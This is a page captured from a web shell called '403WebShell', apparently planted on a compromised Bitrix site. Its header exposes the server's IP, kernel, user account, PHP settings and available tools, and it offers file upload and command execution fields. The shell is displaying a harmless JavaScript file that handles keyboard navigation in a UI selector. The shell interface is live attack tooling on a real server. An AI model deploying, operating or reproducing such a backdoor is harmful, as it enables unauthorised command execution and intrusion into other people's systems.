%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.219.208.51
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/selector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/selector/navigation.js
(function() {

var BX = window.BX;

BX.namespace('BX.UI');

if (!!BX.UI.Selector.Navigation)
{
	return;
}

BX.UI.Selector.Navigation = function(params)
{
	this.keys = {
		enter: 13,
		space: 32,
		left: 37,
		up: 38,
		right: 39,
		down: 40
	};
	this.selectorInstance = params.selectorInstance;
	this.selectorManager = this.selectorInstance.manager;
};

BX.UI.Selector.Navigation.create = function(params)
{
	return new BX.UI.Selector.Navigation(params);
};

BX.UI.Selector.Navigation.prototype.checkKeyboardNavigation = function(params)
{
	var
		keyCode = (params.keyCode ? params.keyCode : false),
		tab = (params.tab ? params.tab : false);

	if (keyCode == this.keys.left)
	{
		this.moveCurrentItem({
			tab: tab,
			direction: 'left'
		});

		return 'move';
	}
	else if (keyCode == this.keys.up)
	{
		this.moveCurrentItem({
			tab: tab,
			direction: 'up'
		});

		return 'move';
	}
	else if (keyCode == this.keys.right)
	{
		this.moveCurrentItem({
			tab: tab,
			direction: 'right'
		});

		return 'move';
	}
	else if (keyCode == this.keys.down)
	{
		this.moveCurrentItem({
			tab: tab,
			direction: 'down'
		});

		return 'move';
	}
	else if (keyCode == this.keys.enter)
	{
		this.selectCurrentItem({
			tab: tab,
			keyCode: keyCode
		});

		return 'enter';
	}
	else if (
		keyCode == this.keys.space
		&& tab != 'search'
	)
	{
		if (this.selectorInstance.id.match(/^mention/i))
		{
			this.selectorInstance.closeDialog();
			return false
		}
		else
		{
			this.selectCurrentItem({
				tab: tab,
				keyCode: keyCode
			});

			return 'space';
		}
	}

	return false;
};

BX.UI.Selector.Navigation.prototype.selectCurrentItem = function(params)
{
	var
		tab = params.tab,
		closeDialog = (typeof params.keyCode != 'undefined' && params.keyCode == this.keys.enter);

	if (
		!this.selectorInstance.popups.search
		&& !this.selectorInstance.popups.main
		&& !this.selectorInstance.popups.container
	)
	{
		return;
	}

	if (tab == 'search')
	{
		clearTimeout(this.selectorInstance.timeouts.search);
		this.selectorInstance.getSearchInstance().abortSearchRequest();
	}

	var currentItem = this.selectorInstance.cursors[tab].currentItem;
	if (BX.type.isNotEmptyObject(currentItem))
	{
		var currentItemId = this.selectorInstance.getItemNodeId({
			entityType: currentItem.entityType,
			itemId: currentItem.itemCode
		});

		if (BX(currentItemId))
		{
			this.selectorInstance.selectItem({
				entityType: BX(currentItemId).getAttribute('data-entity-type'),
				itemNode: BX(currentItemId),
				itemId: currentItem.itemCode,
				tab: tab
			});
		}
	}

	if (
		closeDialog
		&& this.selectorInstance.cursors[tab]
	)
	{
		this.selectorInstance.cursors[tab].currentItem = null;

		if (this.selectorInstance.isDialogOpen())
		{
			this.selectorInstance.closeDialog();
		}
		this.selectorInstance.closeSearch();
	}
};

BX.UI.Selector.Navigation.prototype.selectFirstItem = function(params)
{
	var
		tab = params.tab;

	if (
		!this.selectorInstance.popups.search
		&& !this.selectorInstance.popups.main
		&& !this.selectorInstance.popups.container
	)
	{
		return;
	}

	if (tab == 'search')
	{

		clearTimeout(this.selectorInstance.timeouts.search);
		this.selectorInstance.getSearchInstance().abortSearchRequest();
	}

	var firstItem = this.selectorInstance.cursors[tab].firstItem;
	if (BX.type.isNotEmptyObject(firstItem))
	{
		var firstItemId = this.selectorInstance.getItemNodeId({
			entityType: firstItem.entityType,
			itemId: firstItem.itemCode
		});

		if (BX(firstItemId))
		{
			this.selectorInstance.selectItem({
				entityType: BX(firstItemId).getAttribute('data-entity-type'),
				itemNode: BX(firstItemId),
				itemId: firstItem.itemCode
			});
		}
	}
};

BX.UI.Selector.Navigation.prototype.moveCurrentItem = function(params)
{
	var
		direction = params.direction,
		tab = params.tab;

	if (!direction)
	{
		return;
	}

	if (
		this.selectorInstance.popups.search == null
		&& this.selectorInstance.popups.main == null
		&& this.selectorInstance.popups.container == null
	)
	{
		return;
	}

	this.selectorInstance.resultChanged[tab] = true;

	if (
		tab == 'search'
		&& this.selectorInstance.searchXhr
	)
	{
		this.selectorInstance.getSearchInstance().abortSearchRequest();
		this.selectorInstance.getSearchInstance().hideSearchWaiter();
	}

	if (!BX.type.isNotEmptyObject(this.selectorInstance.cursors[tab]))
	{
		return;
	}

	var moved = false;

	switch (direction)
	{
		case 'left':
			if (this.selectorInstance.cursors[tab].position.column == 1)
			{
				if (typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row][this.selectorInstance.cursors[tab].position.column - 1] != 'undefined')
				{
					this.selectorInstance.cursors[tab].position.column--;
					moved = true;
				}
			}
			break;
		case 'right':
			if (
				this.selectorInstance.cursors[tab].position.column == 0
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row][this.selectorInstance.cursors[tab].position.column + 1] != 'undefined'
			)
			{
				this.selectorInstance.cursors[tab].position.column++;
				moved = true;
			}
			break;
		case 'up':
			if (
				this.selectorInstance.cursors[tab].position.row > 0
				&& typeof this.selectorInstance.result[tab] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row - 1] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row - 1][this.selectorInstance.cursors[tab].position.column] != 'undefined'
			)
			{
				this.selectorInstance.cursors[tab].position.row--;
				moved = true;
			}
			else if (
				this.selectorInstance.cursors[tab].position.row == 0
				&& typeof this.selectorInstance.result[tab] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group - 1] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group - 1][this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group - 1].length - 1] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group - 1][this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group - 1].length - 1][0] != 'undefined'
			)
			{
				this.selectorInstance.cursors[tab].position.row = this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group - 1].length - 1;
				this.selectorInstance.cursors[tab].position.column = 0;
				this.selectorInstance.cursors[tab].position.group--;
				moved = true;
			}
			break;
		case 'down':
			if (
				typeof this.selectorInstance.result[tab] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row + 1] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row + 1][this.selectorInstance.cursors[tab].position.column] != 'undefined'
			)
			{
				this.selectorInstance.cursors[tab].position.row++;
				moved = true;
			}
			else if (
				typeof this.selectorInstance.result[tab] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row + 1] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row + 1][0] != 'undefined'
			)
			{
				this.selectorInstance.cursors[tab].position.column = 0;
				this.selectorInstance.cursors[tab].position.row++;
				moved = true;
			}
			else if (
				typeof this.selectorInstance.result[tab] != 'undefined'
				&& this.selectorInstance.cursors[tab].position.row == (this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group].length - 1)
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group + 1] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group + 1][0] != 'undefined'
				&& typeof this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group + 1][0][0] != 'undefined'
			)
			{
				this.selectorInstance.cursors[tab].position.group++;
				this.selectorInstance.cursors[tab].position.row = 0;
				this.selectorInstance.cursors[tab].position.column = 0;
				moved = true;
			}
			break;
		default:
	}

	if (moved)
	{
		var currentItem = this.selectorInstance.cursors[tab].currentItem;

		var currentItemId = this.selectorInstance.getItemNodeId({
			entityType: currentItem.entityType,
			itemId: currentItem.itemCode
		});

		if (BX(currentItemId))
		{
			this.selectorInstance.getRenderInstance().unhoverItem({
				node: BX(currentItemId)
			});
		}

		currentItem = this.selectorInstance.result[tab][this.selectorInstance.cursors[tab].position.group][this.selectorInstance.cursors[tab].position.row][this.selectorInstance.cursors[tab].position.column];

		this.selectorInstance.cursors[tab].currentItem = currentItem;

		currentItemId = this.selectorInstance.getItemNodeId({
			entityType: currentItem.entityType,
			itemId: currentItem.itemCode
		});

		if (BX(currentItemId))
		{
			var
				i = 0,
				hoveredNode = BX(currentItemId);

			var containerNode = BX.findParent(this.selectorInstance.dialogNodes.contentsContainer, { className: this.selectorInstance.getRenderInstance().class.boxContainer });

			if (containerNode)
			{
				var
					containerNodePos = BX.pos(containerNode),
					hoveredNodePos = BX.pos(hoveredNode);

				if (
					hoveredNodePos.bottom > containerNodePos.bottom
					|| hoveredNodePos.top < containerNodePos.top
				)
				{
					containerNode.scrollTop += (
						hoveredNodePos.bottom > containerNodePos.bottom
							? (hoveredNodePos.bottom - containerNodePos.bottom)
							: (hoveredNodePos.top - containerNodePos.top)
					);
				}

				this.selectorInstance.getRenderInstance().hoverItem({
					node: hoveredNode
				});
			}
		}
	}
};

BX.UI.Selector.Navigation.prototype.hoverFirstItem = function(params)
{
	var
		tab = params.tab;

	if (typeof this.selectorInstance.cursors[tab] == 'undefined')
	{
		return;
	}

	var firstItem = this.selectorInstance.cursors[tab].firstItem;
	if (!firstItem)
	{
		return;
	}

	var firstItemId = this.selectorInstance.getItemNodeId({
		entityType: firstItem.entityType,
		itemId: firstItem.itemCode
	});

	if (!BX(firstItemId))
	{
		return;
	}

	this.selectorInstance.getRenderInstance().hoverItem({
		node: BX(firstItemId)
	});
};


})();

Youez - 2016 - github.com/yon3zu
LinuXploit